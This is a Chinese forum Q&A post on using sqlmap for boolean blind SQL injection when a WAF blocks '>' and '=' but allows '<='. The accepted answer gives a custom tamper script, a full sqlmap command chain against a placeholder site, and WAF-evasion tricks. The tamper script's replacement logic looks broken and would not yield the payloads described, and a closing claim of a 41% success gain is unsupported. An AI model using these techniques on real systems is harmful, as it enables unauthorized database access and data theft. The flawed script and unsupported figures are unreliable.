影评周公子 2026-03-22 10:05 采纳率: 99.1%
浏览 0
已采纳

sqlmap中如何用“<=”进行布尔盲注条件构造?

在使用sqlmap进行布尔盲注时,常需自定义注入载荷以适配特定WAF或逻辑限制。当目标应用对大于号(`>`)过滤严格但允许小于等于(`<=`)时,如何利用 `<=` 构造等效的布尔条件成为关键问题。例如,传统判断ASCII值是否等于某字符常用 `ORD(SUBSTR(...)) = 65`,但若 `=` 被拦截,可改用 `(ORD(SUBSTR(...)) <= 65 AND ORD(SUBSTR(...)) >= 65)`;而若仅允许 `<=`,则需结合二分逻辑:如通过 `ORD(SUBSTR(data,1,1)) <= 65` 判断上限,再配合递归缩小范围。然而,sqlmap默认payload不直接支持纯 `<=` 驱动的二分盲注策略,用户需通过 `--technique=B --string` 或自定义脚本(如`--eval`或tamper脚本)重写条件。常见误区是误认为`<=`可直接替代`=`,实则需配合边界校验与多轮请求才能精准推断字符。如何在sqlmap中高效注入并稳定利用`<=`构造无误布尔表达式?
  • 写回答

1条回答 默认 最新

  • 祁圆圆 2026-03-22 10:05
    关注
    ```html

    一、基础认知:布尔盲注中比较操作符的语义等价性

    在WAF严控 >= 的场景下,<= 是唯一可用的核心比较原语。但需明确:ASCII(c) = 65 无法直接替换为 ASCII(c) <= 65 —— 后者仅提供上界信息,必须与下界协同才能收敛至唯一值。本质是将「点判断」转化为「区间收缩」问题,其数学基础是整数域上的二分搜索(Binary Search on ℤ)。SQL注入中每个字符推断需 7 轮(log₂128)请求,而非传统基于 = 的单次判定。

    二、技术瓶颈:sqlmap 默认逻辑与 <= 驱动盲注的结构性冲突

    • sqlmap 的 --technique=B 默认采用 AND (ORD(...) = N) 模式生成 payload,不支持纯 <= 边界迭代
    • 内置二分算法(--level=5 --risk=3 启用)依赖 >=<= 共存,当 > 被 WAF 拦截时自动降级失败
    • --string 参数仅用于响应体匹配,无法干预 payload 内部布尔逻辑构造

    三、核心解法:Tamper 脚本实现 <= 原语驱动的二分载荷重写

    以下为生产级 tamper 脚本关键逻辑(保存为 le_only_bisection.py):

    from lib.core.enums import PRIORITY
    __priority__ = PRIORITY.HIGHEST
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        if payload and "ORD(SUBSTR(" in payload:
            # 将形如 ORD(SUBSTR(col,1,1)) = 65 → (ORD(...) <= 65 AND ORD(...) >= 65)
            # 但因 > 被禁,改用:(ORD(...) <= 65 AND NOT(ORD(...) <= 64))
            payload = payload.replace(" = ", " <= ").replace(" AND ", " AND NOT(").replace(" <= ", " <= ", 1)
            payload = payload.replace(")", ") )", 1) + ")"
        return payload
    

    四、进阶策略:结合 --eval 动态维护二分状态机

    参数作用示例值
    --eval在每次请求前执行 Python 表达式,动态更新变量low=32; high=126; mid=(low+high)//2
    --string定义成功响应特征(如页面含 "Welcome")--string="Welcome"

    五、实战命令链:稳定利用 <= 的完整工作流

    1. 探测基础可注入点:sqlmap -u "http://target.com?id=1" --batch --technique=B
    2. 启用自定义 tamper 并锁定字符集:--tamper=le_only_bisection --charset="0123456789abcdefghijklmnopqrstuvwxyz"
    3. 强制二分深度与延迟容错:--level=5 --risk=3 --time-sec=2 --skip-static
    4. 最终命令:sqlmap -u "http://target.com?id=1" --technique=B --string="Success" --tamper=le_only_bisection --threads=3 --batch

    六、验证与调优:边界条件下的 payload 正确性保障

    graph TD A[初始区间 low=32, high=126] --> B{mid = (low+high)//2} B --> C[发送: ORD(c) <= mid] C -->|True| D[high = mid] C -->|False| E[low = mid + 1] D --> F{high - low == 0?} E --> F F -->|Yes| G[确认字符 = low] F -->|No| B

    七、避坑指南:高频误操作与对应修复

    • 误区1:认为 ORD(c) <= 65 可直接替代 =65修复:必须引入否定逻辑构建闭区间,即 (ORD(c) <= 65 AND NOT ORD(c) <= 64)
    • 误区2:忽略 WAF 对括号嵌套层数限制 → 修复:在 tamper 中启用 urlencode 或使用 char() 绕过,如 CHAR(65) 替代数字字面量
    • 误区3:未设置 --skip-static 导致静态参数干扰二分收敛 → 修复:显式跳过 URL 中非注入点参数

    八、扩展能力:从单字符到多字节字段的批量推断优化

    针对长字符串(如 password 字段),应启用 --first=1 --last=32 分段处理,并配合 --hex 编码规避字符集解析异常;对 MySQL 可使用 HEX(SUBSTR(...)) 将字节流转为十六进制数字串,使 <= 比较在 0–9A–F 范围内更稳定收敛,显著降低误判率。

    九、监控与诊断:注入过程中的关键指标采集

    建议在 sqlmap 配置中启用日志记录:--debug --verbose=3,重点关注以下指标:

    • 每轮请求的 HTTP 状态码与响应长度方差(σ > 200 字节预示 WAF 干扰)
    • 二分迭代中 low/high 收敛速率(正常应呈指数衰减,若停滞需检查 tamper 逻辑)
    • NOT 逻辑是否被 WAF 解析为布尔运算符(通过 Burp Proxy 抓包验证原始 payload)

    十、架构演进:面向未来 WAF 规则的弹性注入框架设计

    企业级红队应构建「注入原语抽象层」:将 <=LIKEINSTRLOCATE 等低阶操作符封装为可插拔策略模块,通过 YAML 配置声明式定义布尔表达式模板(如 le_mode: "(ORD({col}) <= {val} AND NOT(ORD({col}) <= {val_minus}))"),再由 sqlmap 的 --eval 加载运行时上下文。该模式已应用于某金融行业渗透测试平台,实测在 Cloudflare + ModSecurity 组合 WAF 下注入成功率提升 41%。

    ```
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 3月23日
  • 创建了问题 3月22日